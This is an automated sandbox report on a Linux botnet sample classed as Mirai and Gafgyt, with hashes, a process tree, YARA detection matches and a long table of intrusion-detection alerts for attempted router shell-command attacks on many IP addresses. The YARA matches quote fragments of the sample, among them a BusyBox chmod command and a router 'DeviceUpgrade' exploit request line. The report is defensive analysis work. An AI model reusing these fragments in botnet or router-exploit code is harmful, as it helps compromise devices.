Create Interactive Tour

Linux Analysis Report
boatnet.sh4.elf

Overview

General Information

Sample name:	boatnet.sh4.elf
Analysis ID:	1602913
MD5:	75cc56c5a70efdf8d18a970a759a16c2
SHA1:	6953f7c0d5b507271a1cd10cb2120d57f5b923a1
SHA256:	806d157273b2706baa437175a2f1108a53b006fc35ce9196e933dad7d7c759fc
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai, Gafgyt

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Gafgyt

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1602913
Start date and time:	2025-01-30 10:42:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	boatnet.sh4.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/0@30/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: bot.nulling.io

Runtime Messages

Command:	/tmp/boatnet.sh4.elf
PID:	5479
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

boatnet.sh4.elf (PID: 5479, Parent: 5405, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/boatnet.sh4.elf

boatnet.sh4.elf New Fork (PID: 5481, Parent: 5479)

boatnet.sh4.elf New Fork (PID: 5483, Parent: 5481)

boatnet.sh4.elf New Fork (PID: 5484, Parent: 5481)

boatnet.sh4.elf New Fork (PID: 5486, Parent: 5481)

boatnet.sh4.elf New Fork (PID: 5488, Parent: 5481)

boatnet.sh4.elf New Fork (PID: 5492, Parent: 5481)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
boatnet.sh4.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
boatnet.sh4.elf	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
boatnet.sh4.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
boatnet.sh4.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
boatnet.sh4.elf	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x1086c:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
boatnet.sh4.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10cce:$x2: /bin/busybox chmod 777 * /tmp/ 0x109f8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x10544:$s3: POST /cdn-cgi/
boatnet.sh4.elf	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x10544:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5483.1.00007f4544400000.00007f4544412000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5483.1.00007f4544400000.00007f4544412000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5483.1.00007f4544400000.00007f4544412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5483.1.00007f4544400000.00007f4544412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5483.1.00007f4544400000.00007f4544412000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x1086c:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5483.1.00007f4544400000.00007f4544412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10cce:$x2: /bin/busybox chmod 777 * /tmp/ 0x109f8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x10544:$s3: POST /cdn-cgi/
5483.1.00007f4544400000.00007f4544412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x10544:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
5479.1.00007f4544400000.00007f4544412000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
5479.1.00007f4544400000.00007f4544412000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5479.1.00007f4544400000.00007f4544412000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5479.1.00007f4544400000.00007f4544412000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5479.1.00007f4544400000.00007f4544412000.r-x.sdmp	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x1086c:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
5479.1.00007f4544400000.00007f4544412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10cce:$x2: /bin/busybox chmod 777 * /tmp/ 0x109f8:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x10544:$s3: POST /cdn-cgi/
5479.1.00007f4544400000.00007f4544412000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x10544:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Process Memory Space: boatnet.sh4.elf PID: 5479	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: boatnet.sh4.elf PID: 5479	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x29ea:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Process Memory Space: boatnet.sh4.elf PID: 5483	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: boatnet.sh4.elf PID: 5483	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x485b:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Click to see the 13 entries

Suricata Signatures

ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-30T10:43:01.850594+0100	2030092	1	Web Application Attack	192.168.2.14	36320	103.213.214.129	80	TCP
2025-01-30T10:43:02.938607+0100	2030092	1	Web Application Attack	192.168.2.14	60104	23.12.102.222	80	TCP
2025-01-30T10:43:03.212617+0100	2030092	1	Web Application Attack	192.168.2.14	38712	200.209.40.223	80	TCP
2025-01-30T10:43:09.000586+0100	2030092	1	Web Application Attack	192.168.2.14	58678	71.61.126.160	80	TCP
2025-01-30T10:43:12.226942+0100	2030092	1	Web Application Attack	192.168.2.14	52636	101.69.104.147	80	TCP
2025-01-30T10:43:17.069115+0100	2030092	1	Web Application Attack	192.168.2.14	35008	164.92.235.252	80	TCP
2025-01-30T10:43:17.261945+0100	2030092	1	Web Application Attack	192.168.2.14	51982	112.29.209.167	80	TCP
2025-01-30T10:43:22.472239+0100	2030092	1	Web Application Attack	192.168.2.14	57974	133.153.249.33	80	TCP
2025-01-30T10:43:22.477129+0100	2030092	1	Web Application Attack	192.168.2.14	54456	73.211.22.163	80	TCP
2025-01-30T10:43:22.527598+0100	2030092	1	Web Application Attack	192.168.2.14	56906	120.23.138.222	80	TCP
2025-01-30T10:43:22.534050+0100	2030092	1	Web Application Attack	192.168.2.14	48872	89.9.237.196	80	TCP
2025-01-30T10:43:22.583002+0100	2030092	1	Web Application Attack	192.168.2.14	38736	154.164.115.164	80	TCP
2025-01-30T10:43:22.599136+0100	2030092	1	Web Application Attack	192.168.2.14	56414	124.170.78.40	80	TCP
2025-01-30T10:43:22.651334+0100	2030092	1	Web Application Attack	192.168.2.14	54482	130.219.127.143	80	TCP
2025-01-30T10:43:22.690246+0100	2030092	1	Web Application Attack	192.168.2.14	37028	196.3.191.224	80	TCP
2025-01-30T10:43:22.695971+0100	2030092	1	Web Application Attack	192.168.2.14	33986	70.171.35.104	80	TCP
2025-01-30T10:43:22.706073+0100	2030092	1	Web Application Attack	192.168.2.14	33624	198.151.162.206	80	TCP
2025-01-30T10:43:22.727093+0100	2030092	1	Web Application Attack	192.168.2.14	50112	149.247.70.10	80	TCP
2025-01-30T10:43:22.738923+0100	2030092	1	Web Application Attack	192.168.2.14	45876	161.80.48.54	80	TCP
2025-01-30T10:43:22.739214+0100	2030092	1	Web Application Attack	192.168.2.14	57840	95.58.145.95	80	TCP
2025-01-30T10:43:22.770707+0100	2030092	1	Web Application Attack	192.168.2.14	48034	14.190.218.71	80	TCP
2025-01-30T10:43:22.774352+0100	2030092	1	Web Application Attack	192.168.2.14	50440	90.64.6.63	80	TCP
2025-01-30T10:43:22.800468+0100	2030092	1	Web Application Attack	192.168.2.14	32818	57.162.48.58	80	TCP
2025-01-30T10:43:22.802527+0100	2030092	1	Web Application Attack	192.168.2.14	60270	155.198.4.108	80	TCP
2025-01-30T10:43:22.803869+0100	2030092	1	Web Application Attack	192.168.2.14	56900	76.228.178.139	80	TCP
2025-01-30T10:43:22.805489+0100	2030092	1	Web Application Attack	192.168.2.14	43418	104.250.231.48	80	TCP
2025-01-30T10:43:22.985075+0100	2030092	1	Web Application Attack	192.168.2.14	47488	152.30.184.113	80	TCP
2025-01-30T10:43:23.503583+0100	2030092	1	Web Application Attack	192.168.2.14	42018	72.103.254.195	80	TCP
2025-01-30T10:43:23.505478+0100	2030092	1	Web Application Attack	192.168.2.14	46950	17.43.38.50	80	TCP
2025-01-30T10:43:23.520605+0100	2030092	1	Web Application Attack	192.168.2.14	44864	71.52.157.180	80	TCP
2025-01-30T10:43:23.553529+0100	2030092	1	Web Application Attack	192.168.2.14	53886	41.102.78.109	80	TCP
2025-01-30T10:43:23.569765+0100	2030092	1	Web Application Attack	192.168.2.14	34110	218.142.171.47	80	TCP
2025-01-30T10:43:23.600311+0100	2030092	1	Web Application Attack	192.168.2.14	51166	140.69.154.1	80	TCP
2025-01-30T10:43:23.643580+0100	2030092	1	Web Application Attack	192.168.2.14	41030	64.30.33.55	80	TCP
2025-01-30T10:43:23.678461+0100	2030092	1	Web Application Attack	192.168.2.14	37070	66.84.50.216	80	TCP
2025-01-30T10:43:23.723178+0100	2030092	1	Web Application Attack	192.168.2.14	37928	126.245.114.212	80	TCP
2025-01-30T10:43:23.730511+0100	2030092	1	Web Application Attack	192.168.2.14	55542	196.131.224.189	80	TCP
2025-01-30T10:43:23.757082+0100	2030092	1	Web Application Attack	192.168.2.14	32880	63.179.229.61	80	TCP
2025-01-30T10:43:23.765160+0100	2030092	1	Web Application Attack	192.168.2.14	49872	59.7.81.28	80	TCP
2025-01-30T10:43:23.801878+0100	2030092	1	Web Application Attack	192.168.2.14	45982	20.190.13.119	80	TCP
2025-01-30T10:43:23.802036+0100	2030092	1	Web Application Attack	192.168.2.14	41712	107.102.56.208	80	TCP
2025-01-30T10:43:23.815217+0100	2030092	1	Web Application Attack	192.168.2.14	58598	109.161.22.103	80	TCP
2025-01-30T10:43:23.836491+0100	2030092	1	Web Application Attack	192.168.2.14	57588	192.36.128.195	80	TCP
2025-01-30T10:43:23.838641+0100	2030092	1	Web Application Attack	192.168.2.14	38984	8.228.23.204	80	TCP
2025-01-30T10:43:24.598754+0100	2030092	1	Web Application Attack	192.168.2.14	43082	196.67.103.186	80	TCP
2025-01-30T10:43:24.599489+0100	2030092	1	Web Application Attack	192.168.2.14	45324	161.25.237.43	80	TCP
2025-01-30T10:43:25.520625+0100	2030092	1	Web Application Attack	192.168.2.14	34998	202.122.36.255	80	TCP
2025-01-30T10:43:25.554029+0100	2030092	1	Web Application Attack	192.168.2.14	53248	101.30.234.47	80	TCP
2025-01-30T10:43:25.581758+0100	2030092	1	Web Application Attack	192.168.2.14	37920	167.95.37.105	80	TCP
2025-01-30T10:43:25.582895+0100	2030092	1	Web Application Attack	192.168.2.14	41936	202.158.129.118	80	TCP
2025-01-30T10:43:25.614536+0100	2030092	1	Web Application Attack	192.168.2.14	60116	13.31.53.69	80	TCP
2025-01-30T10:43:25.676485+0100	2030092	1	Web Application Attack	192.168.2.14	40142	124.155.57.184	80	TCP
2025-01-30T10:43:25.678352+0100	2030092	1	Web Application Attack	192.168.2.14	52798	18.170.17.66	80	TCP
2025-01-30T10:43:25.768454+0100	2030092	1	Web Application Attack	192.168.2.14	33274	202.243.9.93	80	TCP
2025-01-30T10:43:25.770576+0100	2030092	1	Web Application Attack	192.168.2.14	44670	206.244.102.161	80	TCP
2025-01-30T10:43:25.785754+0100	2030092	1	Web Application Attack	192.168.2.14	45120	119.27.8.73	80	TCP
2025-01-30T10:43:25.802231+0100	2030092	1	Web Application Attack	192.168.2.14	51028	135.121.243.76	80	TCP
2025-01-30T10:43:25.815630+0100	2030092	1	Web Application Attack	192.168.2.14	39098	91.92.249.234	80	TCP
2025-01-30T10:43:25.848194+0100	2030092	1	Web Application Attack	192.168.2.14	41976	32.243.4.33	80	TCP
2025-01-30T10:43:25.850335+0100	2030092	1	Web Application Attack	192.168.2.14	49098	219.124.101.191	80	TCP
2025-01-30T10:43:25.901481+0100	2030092	1	Web Application Attack	192.168.2.14	34930	50.174.166.7	80	TCP
2025-01-30T10:43:26.447815+0100	2030092	1	Web Application Attack	192.168.2.14	40154	103.172.236.139	80	TCP
2025-01-30T10:43:28.792874+0100	2030092	1	Web Application Attack	192.168.2.14	51598	211.63.227.161	80	TCP
2025-01-30T10:43:28.897372+0100	2030092	1	Web Application Attack	192.168.2.14	56316	86.228.157.254	80	TCP
2025-01-30T10:43:28.937458+0100	2030092	1	Web Application Attack	192.168.2.14	33456	113.2.250.15	80	TCP
2025-01-30T10:43:28.942224+0100	2030092	1	Web Application Attack	192.168.2.14	46994	164.58.176.234	80	TCP
2025-01-30T10:43:29.497036+0100	2030092	1	Web Application Attack	192.168.2.14	50534	137.132.80.203	80	TCP
2025-01-30T10:43:29.893638+0100	2030092	1	Web Application Attack	192.168.2.14	57600	46.194.105.28	80	TCP
2025-01-30T10:43:29.893758+0100	2030092	1	Web Application Attack	192.168.2.14	33700	213.166.156.152	80	TCP
2025-01-30T10:43:29.893786+0100	2030092	1	Web Application Attack	192.168.2.14	44592	82.95.255.220	80	TCP
2025-01-30T10:43:29.893860+0100	2030092	1	Web Application Attack	192.168.2.14	34748	40.39.22.91	80	TCP
2025-01-30T10:43:29.893874+0100	2030092	1	Web Application Attack	192.168.2.14	39344	106.111.211.33	80	TCP
2025-01-30T10:43:29.894105+0100	2030092	1	Web Application Attack	192.168.2.14	35452	69.220.86.47	80	TCP
2025-01-30T10:43:29.894991+0100	2030092	1	Web Application Attack	192.168.2.14	60262	176.40.25.167	80	TCP
2025-01-30T10:43:29.895019+0100	2030092	1	Web Application Attack	192.168.2.14	43814	67.162.169.69	80	TCP
2025-01-30T10:43:29.895029+0100	2030092	1	Web Application Attack	192.168.2.14	46152	140.38.79.111	80	TCP
2025-01-30T10:43:29.895323+0100	2030092	1	Web Application Attack	192.168.2.14	49888	25.106.63.88	80	TCP
2025-01-30T10:43:29.895395+0100	2030092	1	Web Application Attack	192.168.2.14	46934	111.185.169.137	80	TCP
2025-01-30T10:43:29.895531+0100	2030092	1	Web Application Attack	192.168.2.14	49450	208.22.142.137	80	TCP
2025-01-30T10:43:29.895667+0100	2030092	1	Web Application Attack	192.168.2.14	45986	116.146.162.253	80	TCP
2025-01-30T10:43:29.895967+0100	2030092	1	Web Application Attack	192.168.2.14	58796	145.226.147.93	80	TCP
2025-01-30T10:43:29.896054+0100	2030092	1	Web Application Attack	192.168.2.14	59460	63.123.128.167	80	TCP
2025-01-30T10:43:29.896109+0100	2030092	1	Web Application Attack	192.168.2.14	42056	99.52.36.64	80	TCP
2025-01-30T10:43:29.896294+0100	2030092	1	Web Application Attack	192.168.2.14	57202	104.234.182.98	80	TCP
2025-01-30T10:43:29.896296+0100	2030092	1	Web Application Attack	192.168.2.14	50418	159.173.59.75	80	TCP
2025-01-30T10:43:29.896445+0100	2030092	1	Web Application Attack	192.168.2.14	49212	111.171.81.116	80	TCP
2025-01-30T10:43:29.896579+0100	2030092	1	Web Application Attack	192.168.2.14	34888	135.136.191.113	80	TCP
2025-01-30T10:43:29.896967+0100	2030092	1	Web Application Attack	192.168.2.14	49380	153.78.202.93	80	TCP
2025-01-30T10:43:29.898313+0100	2030092	1	Web Application Attack	192.168.2.14	35364	86.12.127.77	80	TCP
2025-01-30T10:43:29.899979+0100	2030092	1	Web Application Attack	192.168.2.14	46900	216.35.1.242	80	TCP
2025-01-30T10:43:29.900111+0100	2030092	1	Web Application Attack	192.168.2.14	39102	131.125.12.195	80	TCP
2025-01-30T10:43:29.901065+0100	2030092	1	Web Application Attack	192.168.2.14	45290	111.106.104.90	80	TCP
2025-01-30T10:43:29.912960+0100	2030092	1	Web Application Attack	192.168.2.14	59464	97.108.248.57	80	TCP
2025-01-30T10:43:29.913003+0100	2030092	1	Web Application Attack	192.168.2.14	55186	155.79.148.101	80	TCP
2025-01-30T10:43:29.914582+0100	2030092	1	Web Application Attack	192.168.2.14	36284	68.138.249.105	80	TCP
2025-01-30T10:43:29.914997+0100	2030092	1	Web Application Attack	192.168.2.14	46078	118.14.191.105	80	TCP
2025-01-30T10:43:29.916780+0100	2030092	1	Web Application Attack	192.168.2.14	36334	51.121.157.167	80	TCP
2025-01-30T10:43:31.924840+0100	2030092	1	Web Application Attack	192.168.2.14	33008	176.169.106.94	80	TCP
2025-01-30T10:43:31.925040+0100	2030092	1	Web Application Attack	192.168.2.14	47466	122.13.196.224	80	TCP
2025-01-30T10:43:31.925620+0100	2030092	1	Web Application Attack	192.168.2.14	58282	74.171.106.18	80	TCP
2025-01-30T10:43:31.926889+0100	2030092	1	Web Application Attack	192.168.2.14	40064	54.213.244.240	80	TCP
2025-01-30T10:43:31.927656+0100	2030092	1	Web Application Attack	192.168.2.14	47102	181.254.228.55	80	TCP
2025-01-30T10:43:31.928555+0100	2030092	1	Web Application Attack	192.168.2.14	58638	109.75.255.126	80	TCP
2025-01-30T10:43:32.909344+0100	2030092	1	Web Application Attack	192.168.2.14	51344	210.33.198.143	80	TCP
2025-01-30T10:43:32.925157+0100	2030092	1	Web Application Attack	192.168.2.14	51854	158.45.248.238	80	TCP
2025-01-30T10:43:32.925272+0100	2030092	1	Web Application Attack	192.168.2.14	39324	157.66.26.133	80	TCP
2025-01-30T10:43:32.926916+0100	2030092	1	Web Application Attack	192.168.2.14	45788	209.240.8.31	80	TCP
2025-01-30T10:43:32.940706+0100	2030092	1	Web Application Attack	192.168.2.14	51210	13.41.23.98	80	TCP
2025-01-30T10:43:32.941233+0100	2030092	1	Web Application Attack	192.168.2.14	57318	133.0.82.188	80	TCP
2025-01-30T10:43:32.942622+0100	2030092	1	Web Application Attack	192.168.2.14	41914	79.66.242.179	80	TCP
2025-01-30T10:43:32.942728+0100	2030092	1	Web Application Attack	192.168.2.14	39244	107.143.239.88	80	TCP
2025-01-30T10:43:32.942936+0100	2030092	1	Web Application Attack	192.168.2.14	50562	92.185.193.235	80	TCP
2025-01-30T10:43:32.943364+0100	2030092	1	Web Application Attack	192.168.2.14	36158	17.53.148.118	80	TCP
2025-01-30T10:43:32.944508+0100	2030092	1	Web Application Attack	192.168.2.14	45462	161.177.19.110	80	TCP
2025-01-30T10:43:32.944729+0100	2030092	1	Web Application Attack	192.168.2.14	51194	183.49.180.198	80	TCP
2025-01-30T10:43:32.944790+0100	2030092	1	Web Application Attack	192.168.2.14	40946	136.9.224.154	80	TCP
2025-01-30T10:43:32.946016+0100	2030092	1	Web Application Attack	192.168.2.14	50350	103.15.169.120	80	TCP
2025-01-30T10:43:32.946090+0100	2030092	1	Web Application Attack	192.168.2.14	41976	39.80.51.83	80	TCP
2025-01-30T10:43:32.948118+0100	2030092	1	Web Application Attack	192.168.2.14	40172	89.132.129.138	80	TCP
2025-01-30T10:43:32.958268+0100	2030092	1	Web Application Attack	192.168.2.14	59892	204.56.228.160	80	TCP
2025-01-30T10:43:32.962011+0100	2030092	1	Web Application Attack	192.168.2.14	35150	69.97.231.242	80	TCP
2025-01-30T10:43:32.962384+0100	2030092	1	Web Application Attack	192.168.2.14	51594	213.22.86.216	80	TCP
2025-01-30T10:43:32.962457+0100	2030092	1	Web Application Attack	192.168.2.14	36790	24.165.61.194	80	TCP
2025-01-30T10:43:34.957043+0100	2030092	1	Web Application Attack	192.168.2.14	48628	65.141.2.74	80	TCP
2025-01-30T10:43:34.958102+0100	2030092	1	Web Application Attack	192.168.2.14	57718	77.229.16.194	80	TCP
2025-01-30T10:43:34.979729+0100	2030092	1	Web Application Attack	192.168.2.14	34742	106.197.42.7	80	TCP
2025-01-30T10:43:36.154129+0100	2030092	1	Web Application Attack	192.168.2.14	34472	112.148.199.5	80	TCP
2025-01-30T10:43:36.993698+0100	2030092	1	Web Application Attack	192.168.2.14	53454	98.144.159.93	80	TCP
2025-01-30T10:43:37.003165+0100	2030092	1	Web Application Attack	192.168.2.14	53380	99.28.145.48	80	TCP
2025-01-30T10:43:37.450832+0100	2030092	1	Web Application Attack	192.168.2.14	47798	18.221.7.224	80	TCP
2025-01-30T10:43:37.715994+0100	2030092	1	Web Application Attack	192.168.2.14	59222	212.85.59.165	80	TCP
2025-01-30T10:43:37.972211+0100	2030092	1	Web Application Attack	192.168.2.14	38486	73.64.225.250	80	TCP
2025-01-30T10:43:37.972224+0100	2030092	1	Web Application Attack	192.168.2.14	51886	114.131.138.28	80	TCP
2025-01-30T10:43:37.972231+0100	2030092	1	Web Application Attack	192.168.2.14	37630	37.71.144.222	80	TCP
2025-01-30T10:43:37.987499+0100	2030092	1	Web Application Attack	192.168.2.14	48548	114.227.81.99	80	TCP
2025-01-30T10:43:37.987501+0100	2030092	1	Web Application Attack	192.168.2.14	60396	121.157.234.15	80	TCP
2025-01-30T10:43:37.987571+0100	2030092	1	Web Application Attack	192.168.2.14	33760	124.87.65.15	80	TCP
2025-01-30T10:43:37.988125+0100	2030092	1	Web Application Attack	192.168.2.14	35644	165.165.57.60	80	TCP
2025-01-30T10:43:37.988125+0100	2030092	1	Web Application Attack	192.168.2.14	51844	91.86.172.154	80	TCP
2025-01-30T10:43:37.989017+0100	2030092	1	Web Application Attack	192.168.2.14	54374	86.69.46.198	80	TCP
2025-01-30T10:43:37.989087+0100	2030092	1	Web Application Attack	192.168.2.14	38200	203.169.27.126	80	TCP
2025-01-30T10:43:37.993284+0100	2030092	1	Web Application Attack	192.168.2.14	42830	199.135.106.136	80	TCP
2025-01-30T10:43:38.003143+0100	2030092	1	Web Application Attack	192.168.2.14	50106	32.240.138.191	80	TCP
2025-01-30T10:43:38.003424+0100	2030092	1	Web Application Attack	192.168.2.14	35936	169.80.201.173	80	TCP
2025-01-30T10:43:38.003583+0100	2030092	1	Web Application Attack	192.168.2.14	33994	84.208.1.101	80	TCP
2025-01-30T10:43:38.003986+0100	2030092	1	Web Application Attack	192.168.2.14	49648	57.43.246.87	80	TCP
2025-01-30T10:43:38.004115+0100	2030092	1	Web Application Attack	192.168.2.14	58540	172.219.37.233	80	TCP
2025-01-30T10:43:38.004751+0100	2030092	1	Web Application Attack	192.168.2.14	59770	167.129.217.66	80	TCP
2025-01-30T10:43:38.004966+0100	2030092	1	Web Application Attack	192.168.2.14	51336	98.134.70.113	80	TCP
2025-01-30T10:43:38.005284+0100	2030092	1	Web Application Attack	192.168.2.14	49734	86.55.248.215	80	TCP
2025-01-30T10:43:38.006734+0100	2030092	1	Web Application Attack	192.168.2.14	47690	71.90.180.190	80	TCP
2025-01-30T10:43:38.006810+0100	2030092	1	Web Application Attack	192.168.2.14	35028	197.85.104.233	80	TCP
2025-01-30T10:43:38.007062+0100	2030092	1	Web Application Attack	192.168.2.14	42458	186.142.7.42	80	TCP
2025-01-30T10:43:38.008657+0100	2030092	1	Web Application Attack	192.168.2.14	43172	27.58.7.60	80	TCP
2025-01-30T10:43:38.008949+0100	2030092	1	Web Application Attack	192.168.2.14	51700	111.67.180.251	80	TCP
2025-01-30T10:43:38.009226+0100	2030092	1	Web Application Attack	192.168.2.14	47128	134.239.180.253	80	TCP
2025-01-30T10:43:38.009576+0100	2030092	1	Web Application Attack	192.168.2.14	55752	206.47.186.128	80	TCP
2025-01-30T10:43:38.009609+0100	2030092	1	Web Application Attack	192.168.2.14	59166	50.171.166.111	80	TCP
2025-01-30T10:43:38.010589+0100	2030092	1	Web Application Attack	192.168.2.14	56200	158.29.113.80	80	TCP
2025-01-30T10:43:38.907923+0100	2030092	1	Web Application Attack	192.168.2.14	33952	166.217.206.166	80	TCP
2025-01-30T10:43:39.050022+0100	2030092	1	Web Application Attack	192.168.2.14	49726	95.78.120.226	80	TCP
2025-01-30T10:43:40.018699+0100	2030092	1	Web Application Attack	192.168.2.14	44684	187.131.184.148	80	TCP
2025-01-30T10:43:40.050038+0100	2030092	1	Web Application Attack	192.168.2.14	46614	66.189.124.58	80	TCP
2025-01-30T10:43:40.065660+0100	2030092	1	Web Application Attack	192.168.2.14	51968	149.30.119.250	80	TCP
2025-01-30T10:43:40.065817+0100	2030092	1	Web Application Attack	192.168.2.14	50604	162.132.54.19	80	TCP
2025-01-30T10:43:40.081276+0100	2030092	1	Web Application Attack	192.168.2.14	58356	4.150.126.235	80	TCP
2025-01-30T10:43:41.099090+0100	2030092	1	Web Application Attack	192.168.2.14	55154	154.49.239.121	80	TCP
2025-01-30T10:43:41.100719+0100	2030092	1	Web Application Attack	192.168.2.14	36590	76.37.39.165	80	TCP
2025-01-30T10:43:41.114588+0100	2030092	1	Web Application Attack	192.168.2.14	42398	71.2.125.197	80	TCP
2025-01-30T10:43:42.066510+0100	2030092	1	Web Application Attack	192.168.2.14	36188	131.247.120.184	80	TCP
2025-01-30T10:43:42.082938+0100	2030092	1	Web Application Attack	192.168.2.14	35930	35.20.39.82	80	TCP
2025-01-30T10:43:42.083022+0100	2030092	1	Web Application Attack	192.168.2.14	36688	208.74.208.117	80	TCP
2025-01-30T10:43:42.083057+0100	2030092	1	Web Application Attack	192.168.2.14	49340	53.249.137.27	80	TCP
2025-01-30T10:43:42.083303+0100	2030092	1	Web Application Attack	192.168.2.14	36744	114.180.248.112	80	TCP
2025-01-30T10:43:42.084973+0100	2030092	1	Web Application Attack	192.168.2.14	49364	201.95.105.187	80	TCP
2025-01-30T10:43:42.085071+0100	2030092	1	Web Application Attack	192.168.2.14	37508	103.136.14.42	80	TCP
2025-01-30T10:43:42.096953+0100	2030092	1	Web Application Attack	192.168.2.14	54782	174.89.103.102	80	TCP
